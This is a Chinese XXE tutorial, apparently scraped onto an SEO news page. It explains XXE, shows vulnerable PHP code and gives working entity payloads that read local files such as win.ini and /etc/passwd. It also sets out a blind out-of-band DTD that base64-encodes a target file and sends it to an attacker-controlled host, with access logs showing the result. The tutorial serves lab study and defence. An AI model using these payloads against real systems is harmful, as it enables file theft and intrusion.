当前位置: 首页 > news >正文

flask做的网站有哪些莆田企业网站建设

flask做的网站有哪些,莆田企业网站建设,wordpress视频设置方法,网站建设的要求有哪些方面1、XXE原理 XXE#xff08;XML外部实体注入#xff0c;XML External Entity) #xff0c;在应用程序解析XML输入时#xff0c;当允许引用外部实体时#xff0c;可构造恶意内容#xff0c;导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命…1、XXE原理 XXEXML外部实体注入XML External Entity) 在应用程序解析XML输入时当允许引用外部实体时可构造恶意内容导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。 要点libxml2.9.1及以后默认不解析外部实体。测试的时候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中可以使用phpinfo()查看libxml的版本信息。 代码层面原理 参数给变量未将过滤使用了不安全的函数 simplexml_load_string 函数 loadxml 函数处理了 这个变量造成了XXE 漏洞。 条件 当运维人员使用了低版本 php,libxml 低于 2.9.1 或者程序员设置了 libxml_disable_entity_loader(FALSE) 就可以加载外部实体。 原理解读 当 phpstudy 的版本为 5.2.17 时我们访问 phpinfo.php 查看 libxml 的版本是否受影响 由下图可知 phpstudy5.2.17 版本受到影响所以存在 XEE 漏洞。 http://10.0.0.101:90/phpinfo.php 打开pikachu靶场环境找到xxe漏洞 http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php 查看源代码使用了simplexml_load_string函数 $xml $_POST[xml]; // $xml $test;$data simplexml_load_string($xml,SimpleXMLElement,LIBXML_NOENT);if($data){$html.pre{$data}/pre;}else{$html.pXML声明、DTD文档类型定义、文档元素这些都搞懂了吗?/p;} 2、XXE定义 XML用于标记电子文件使其具有结构性的标记语言可以用来标记数据、定义数据类型是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义可选、文档元素。 3、文档结构 XML 文档结构包括 XML 声明、 DTD 文档类型定义可选、文档元素。 4、基本的PAYLOAD结构 5、使用DTD实体的攻击方式  DTD 引用方式(简要了解) 1. DTD 内部声明 !DOCTYPE 根元素 [元素声明] 2. DTD 外部引用 !DOCTYPE 根元素名称 SYSTEM 外部DTD的URI 3. 引用公共DTD !DOCTYPE 根元素名称 PUBLIC DTD标识名 公用DTD的URI 示例 ?xml version1.0?    !DOCTYPE configuration PUBLIC -//mybatis.org//DTD Config 3.0//EN http://mybatis.org/dtd/mybatis-3-config.dtd ...... 命名方法以!DOCTYPE开始,configuration是文档根元素名称 PUBLIC表示是公共DTD-表示是非ISO组织mybatis.org表示组织 DTD 表示类型Config 表示标签3.0是标签后附带的版本号 EN表示DTD语言是英语最后是DTD的URL 6、DTD 实体声明(重点) 1内部实体声明 !ENTITY 实体名称 实体的值 一个实体由三部分构成:符号, 实体名称, 分号 (;)这里不论在GET还是在POST中都需要进行URL编码因为是使用参数传入xml的符号会被认为是参数间的连接符号示例 !DOCTYPE foo [!ELEMENT foo ANY !ENTITY xxe baidu.com] fooxxe;/foo 服务器根目录下上传xxe文件夹里含xml.php文件文件内容为 ?phplibxml_disable_entity_loader (false); 若为true则表示禁用外部实体$xmlfile file_get_contents(php://input); //接收xml数据,可以获取POST来的数据$dom new DOMDocument(); //创建对象$dom-loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //文件加载,详细可参考https://www.runoob.com/php/func-simplexml-load-string.html$creds simplexml_import_dom($dom); //从 DOM 节点返回 SimpleXMLElement 对象,参考https://www.runoob.com/php/func-simplexml-import-dom.htmlecho $creds;? http://10.0.0.101:90/xxe/xml.php 火狐阅览器插件进行传参 上面输入URL http://10.0.0.101:90/xxe/xml.php 下面输入DTD 实体 !DOCTYPE foo [!ELEMENT foo ANY !ENTITY xxe baidu.com] fooxxe;/foo 点击Execute后显示的是baidu.com。 在 pikachu上xxe输入DTD 实体就会回显baidu.com: http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php !DOCTYPE foo [!ELEMENT foo ANY !ENTITY xxe baidu.com] fooxxe;/foo 2外部实体声明 !ENTITY 实体名称 SYSTEM URI/URL 外部引用可支持httpfile等协议不同的语言支持的协议不同但存在一些通用的协议具体内容如下所示 示例 !DOCTYPE foo [!ELEMENT foo ANY !ENTITY  xxe SYSTEM file:///c:/2024.txt ] fooxxe;/foo 读取c盘下2024.txt文件内容 火狐阅览器插件进行传参 http://10.0.0.101:90/xxe/xml.php !DOCTYPE foo [!ELEMENT foo ANY !ENTITY  xxe SYSTEM file:///c:/2024.txt ] fooxxe;/foo 输入到pikachu成功读取文件内容  pikachu地址 http://10.0.0.101:90/pikachu/vul/xxe/xxe_1.php 输入内容 !DOCTYPE foo [!ELEMENT foo ANY !ENTITY  xxe SYSTEM file:///c:/2024.txt ] fooxxe;/foo 3 参数实体声明 !ENTITY % 实体名称 实体的值 or !ENTITY % 实体名称 SYSTEM URI 示例 !DOCTYPE foo [!ELEMENT foo ANY !ENTITY  % xxe SYSTEM http://10.0.0.101:90/evil.dtd  %xxe;] fooevil;/foo 外部evil.dtd中的内容。 !ENTITY evil SYSTEM file:///c:/windows/win.ini  4引用公共实体 !ENTITY 实体名称 PUBLIC public_ID URI 7、如何找xxe漏洞 1白盒测试 查看代码里面是否使用了LoadXML( )函数 2黑盒测试 抓包看响应体是否存在xml,accept头是否接受xml https://www.cnblogs.com/mysticbinary/p/12668547.html 看到url文件名是否 .ashx后缀扩展名 抓包修改数据类型把json改成xml来传输数据 8、XXE攻击  1有回显 ?xml version 1.0? !DOCTYPE note [ !ENTITY hacker SYSTEM file:///c:/windows/win.ini ] namehacker;/name //定义DTD文件格式为:root指定根节点名称system声明要使用的外部DTD文件路径如!ENTITY 实体名称 SYSTEM URI/URL 抓包查看回显 1无回显 建立*.dtd !ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourcefile:///c:/1.txt !ENTITY % int !ENTITY % send SYSTEM http://10.0.0.101:90/?p%file; //内部的%号要进行实体编码成% xml调用  !DOCTYPE convert [  !ENTITY % remote SYSTEM http://10.0.0.101:90/test.dtd %remote;%int;%send; ] 例如  攻击者win2003 10.0.0.101:90 目标主机 win10  10.0.0.103:99 攻击者在自己的主机win2003上编写test.dtd内容如下 读取目标主机win10c盘下1.txt文件内容 !ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourcefile:///c:/1.txt !ENTITY % int !ENTITY #37; send SYSTEM http://10.0.0.101:90/?p%file; 说明 http://10.0.0.101:90填写为攻击者ip 先清空攻击者自己win2003apache访问日志 目标主机根目录上传xxe2文件夹里面有xml.php文件文件内容为 ?phplibxml_disable_entity_loader (false); $xmlfile file_get_contents(php://input); $dom new DOMDocument(); $dom-loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ? 用火狐阅览器传参 1、上面填写 http://10.0.0.103:99/xxe2/xml.php 2、下面填写 !DOCTYPE convert [  !ENTITY % remote SYSTEM http://10.0.0.101:90/test.dtd %remote;%int;%send; ] 3、后点击Execute执行 然后在阅览器访问pikachu的xxe填写 !DOCTYPE convert [  !ENTITY % remote SYSTEM http://10.0.0.101:90/test.dtd %remote;%int;%send; ] 最后查看攻击者apache访问日志文件 10.0.0.103 - - [19/May/2024:21:42:37 0800] GET /?pMjAyNA HTTP/1.0 403 209 10.0.0.103 - - [19/May/2024:21:42:37 0800] GET /?pMjAyNA HTTP/1.0 403 209 - -  说明MjAyNA为base64编码的内容 获取到的目标主机1.txt文件内容base64解码 查看目标主机内容一致 9、XXE漏洞利用及相关扩展知识 访问在线网页web.jarvisoj.com:9882 用抓包工具抓包 是一个json数据提交修改数据发现可以被解析 这是一道xxe的题怎么获取flag只要将json处改为xml然后提交xml文档即可 发到重发器只要将json处改为xml 修改为xxe代码读取服务器所有用户信息 ?xml version 1.0? !DOCTYPE ANY [!ENTITY f SYSTEM file:///etc/passwd ] xf;/x 10、防范方法 1升级php版本 2程序员修改代码 PHP libxml_disable_entity_loader(true); JAVA: DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); setFeature(http://apache.org/xml/features/disallow-doctype-decl,true); setFeature(http://xml.org/sax/features/external-general-entities,false) setFeature(http://xml.org/sax/features/external-parameter-entities,false); Python from lxml import etree xmlData etree.parse(xmlSource,etree.XMLParser(resolve_entitiesFalse)) 3过滤关键词  !DOCTYPE、!ENTITY SYSTEM、PUBLIC 声明 此文章只做技术研究谨遵守国家相关法律法规请勿用于违法用途如果您对文章内容有疑问可以尝试留言私信如有侵权请联系小编处理。
http://www.dnsts.com.cn/news/162859.html

相关文章:

  • 个人业务网站建设电子商务网站设计与制作
  • 建设银行网站打不开用什么浏览器企业单页网站模板
  • 常见的网站名称有哪些学校网站建设
  • 化妆品网站设计方案wordpress文章关键词和描述
  • 中牟网站制作网络营销难不难学
  • html5网站动态效果加入网络营销公司
  • 沈阳城市建设招生网站哪个网站科技新闻好
  • 想在百度做推广怎么做免费seo软件
  • 网站建设 任务中国seo第一人
  • 怎么查网站空间重庆网站设计系统
  • 营销网站建设广西怎么把货卖到国外
  • 国内 设计网站的公司网站郑州公司建设网站
  • 什么叫做门户网站平板电脑 做网站开发
  • 长安网站建设制作网站 制作价格
  • 河南网站备案所需资料建设php网站
  • 商业网站建设政策支持山东省建设工程电子信息网站
  • 南宁隆安网站建设网站吸流量
  • 做pc端网站行业现状最新长沙招聘信息
  • 山东网站建设seowordpress ss主题
  • 个人如何做商城网站专门做房地产设计的图片网站
  • 软件公司网站源码网站策划常用软件
  • 锦溪网站建设网站 网安备案查询
  • 快速网站轻松排名哪家好网站建设方案需要哪些步骤
  • 深圳网站建设定制有什么网站可以做设计赚钱吗
  • 为什么做腾讯网站建网站要多少费用
  • 企业官方网站制作七宝网站建设
  • 深圳的网站建设公司怎么样wordpress淘宝客排名主题
  • 怎么推广我的网站吗高周波做网站
  • 大作业网站建设方案大庆做流产油城女子网站
  • 中国化工网网站建设建议nike官网宣传片